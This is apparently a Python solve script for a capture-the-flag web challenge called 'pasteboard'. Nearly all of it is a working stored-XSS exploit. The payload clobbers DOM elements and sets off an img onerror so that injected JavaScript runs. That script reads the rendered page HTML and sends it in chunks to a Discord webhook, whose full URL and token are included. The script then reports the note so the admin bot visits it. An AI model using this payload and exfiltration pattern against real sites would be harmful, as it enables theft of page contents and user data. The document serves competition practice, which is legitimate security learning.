#!/usr/bin/env python3
"""
Simple Flag Extractor - No emojis, simple code
"""
import requests
import time
from urllib.parse import urljoin

CHALLENGE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
DISCORD_WEBHOOK = "https://discord.com/api/webhooks/1459424345695715369/Gnx874Rcb7-ZXqQ6VDy-M_nSB-Su9R8KHIkcyj890gv1e60djv89CJbCkyRi-QPc-HvH"

# Simple: just get HTML and send it
js_code = f"""
let html=document.documentElement.outerHTML;
fetch('{DISCORD_WEBHOOK}',{{
method:'POST',
headers:{{'Content-Type':'application/json'}},
body:JSON.stringify({{content:'Starting extraction'}})
}}).then(()=>{{
let chunk1=html.substring(0,1800);
return fetch('{DISCORD_WEBHOOK}',{{
method:'POST',
headers:{{'Content-Type':'application/json'}},
body:JSON.stringify({{content:chunk1}})
}});
}}).then(()=>{{
let chunk2=html.substring(1800,3600);
return fetch('{DISCORD_WEBHOOK}',{{
method:'POST',
headers:{{'Content-Type':'application/json'}},
body:JSON.stringify({{content:chunk2}})
}});
}}).catch(e=>{{
fetch('{DISCORD_WEBHOOK}',{{
method:'POST',
headers:{{'Content-Type':'application/json'}},
body:JSON.stringify({{content:'Error: '+e.message}})
}});
}});
""".replace('\n', ' ').strip()

payload = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{js_code}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'

print("="*80)
print("FLAG EXTRACTOR - Simple Version")
print("="*80)

response = requests.post(
    urljoin(CHALLENGE_URL, "/note/new"),
    data={"title": "Simple Extract", "body": payload},
    allow_redirects=False
)

if response.status_code == 302:
    note_path = response.headers.get('Location')
    print(f"[+] Paste: {urljoin(CHALLENGE_URL, note_path)}")

    time.sleep(1)

    report_response = requests.post(
        urljoin(CHALLENGE_URL, "/report"),
        data={"url": note_path}
    )

    if report_response.status_code == 202:
        print(f"[+] Queued! Check Discord in 10 seconds...")
        print(f"[*] Will send:")
        print(f"    1. 'Starting extraction'")
        print(f"    2. HTML chars 0-1800")
        print(f"    3. HTML chars 1800-3600")
    else:
        print(f"[-] Failed: {report_response.status_code}")
else:
    print(f"[-] Failed: {response.status_code}")
